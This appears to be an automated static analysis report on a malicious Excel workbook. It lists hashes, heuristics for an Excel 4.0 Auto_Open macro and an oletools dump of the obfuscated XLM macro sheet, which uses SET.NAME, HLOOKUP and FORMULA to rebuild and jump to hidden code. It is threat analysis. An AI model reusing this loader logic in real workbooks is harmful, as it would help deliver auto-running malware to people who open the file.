Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2aadeb3e837441ba…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:41:53 Authoring application: Microsoft Excel First seen: 2021-03-31
MD5: e5e7efbf6c06fffa49aebb4ea70aed81 SHA-1: aabdbc656fb5c1c186abf67079d6188d1747840e SHA-256: 2aadeb3e837441ba32ff504efffabcb3a31f4d5e408c3eefc7a4210cdcb77cd8
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6583 bytes
SHA-256: 6ea3cc776aeb6dc36f80c9f3ce1d2bf0fd9f308064515868635960a1ae3db259
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  hFFBPvgwz
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D163 
' 0018     26 LABEL : Cell Value, String Constant - DGmlzdKtteT len=0 
' 0018     20 LABEL : Cell Value, String Constant - DYfNi len=0 
' 0018     24 LABEL : Cell Value, String Constant - FlqykPpcu len=0 
' 0018     21 LABEL : Cell Value, String Constant - fosGei len=0 
' 0018     21 LABEL : Cell Value, String Constant - jpIlLT len=0 
' 0018     20 LABEL : Cell Value, String Constant - klqEx len=0 
' 0018     25 LABEL : Cell Value, String Constant - KoCkcljpNm len=0 
' 0018     27 LABEL : Cell Value, String Constant - KYSkQLMARQBj len=0 
' 0018     27 LABEL : Cell Value, String Constant - OJThwDXkPDQX len=0 
' 0018     24 LABEL : Cell Value, String Constant - OyxLOuCCp len=0 
' 0018     25 LABEL : Cell Value, String Constant - pdQIpdUmVf len=0 
' 0018     23 LABEL : Cell Value, String Constant - PLJZbwMR len=0 
' 0018     24 LABEL : Cell Value, String Constant - qAUwAYMMC len=0 
' 0018     21 LABEL : Cell Value, String Constant - UQbuuL len=0 
' 0018     22 LABEL : Cell Value, String Constant - vrcUAzu len=0 
' 0018     23 LABEL : Cell Value, String Constant - WlSFCbKu len=0 
' 0018     23 LABEL : Cell Value, String Constant - YrEontWn len=0 
' 0018     27 LABEL : Cell Value, String Constant - yTJPWgLFhmMI len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZdDfvhGv len=0 
' 0018     23 LABEL : Cell Value, String Constant - zsmBDmBF len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  hFFBPvgwz,D70,"SET.NAME("KoCkcljpNm",VALUE("0"))",""
'  hFFBPvgwz,D72,"SET.NAME("qAUwAYMMC",KoCkcljpNm)",""
'  hFFBPvgwz,D76,"SET.NAME("OJThwDXkPDQX",KoCkcljpNm)",""
'  hFFBPvgwz,D78,"SET.NAME("UQbuuL",COUNTA(FlqykPpcu))",""
'  hFFBPvgwz,D82,"SET.NAME("fosGei",COUNTA(ZdDfvhGv))",""
'  hFFBPvgwz,D86,[],""
'  hFFBPvgwz,D89,"SET.NAME("pdQIpdUmVf","")",""
'  hFFBPvgwz,D93,"qAUwAYMMC",""
'  hFFBPvgwz,D96,"SET.NAME("jpIlLT",HLOOKUP("*",FlqykPpcu,qAUwAYMMC,FALSE))",""
'  hFFBPvgwz,D101,"klqEx",""
'  hFFBPvgwz,D104,"SET.NAME("PLJZbwMR",KoCkcljpNm)",""
'  hFFBPvgwz,D109,[],""
'  hFFBPvgwz,D112,"PLJZbwMR",""
'  hFFBPvgwz,D115,"zsmBDmBF",""
'  hFFBPvgwz,D119,"YrEontWn",""
'  hFFBPvgwz,D123,"DYfNi",""
'  hFFBPvgwz,D125,"SET.NAME("yTJPWgLFhmMI",VALUE(HLOOKUP("*",ZdDfvhGv,DYfNi,FALSE)))",""
'  hFFBPvgwz,D130,"OyxLOuCCp",""
'  hFFBPvgwz,D135,"pdQIpdUmVf",""
'  hFFBPvgwz,D137,"OJThwDXkPDQX",""
'  hFFBPvgwz,D139,NEXT(),""
'  hFFBPvgwz,D142,"WlSFCbKu",""
'  hFFBPvgwz,D147,"SET.NAME("f",INT(T(FORMULA(T(pdQIpdUmVf)&"",""&T(WlSFCbKu)))))",""
'  hFFBPvgwz,D150,"DGmlzdKtteT",""
'  hFFBPvgwz,D153,NEXT(),""
'  hFFBPvgwz,D158,RETURN(),""
'  hFFBPvgwz,D188,"SET.NAME("vrcUAzu",D70)",""
'  hFFBPvgwz,D193,"FlqykPpcu",""
'  hFFBPvgwz,D198,"SET.NAME("ZdDfvhGv",R44C13)",""
'  hFFBPvgwz,D202,"SET.NAME("DGmlzdKtteT",210)",""
'  hFFBPvgwz,D207,"SET.NAME("KYSkQLMARQBj",4)",""
'  hFFBPvgwz,D209,vrcUAzu(),""
'  hFFBPvgwz,D210,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.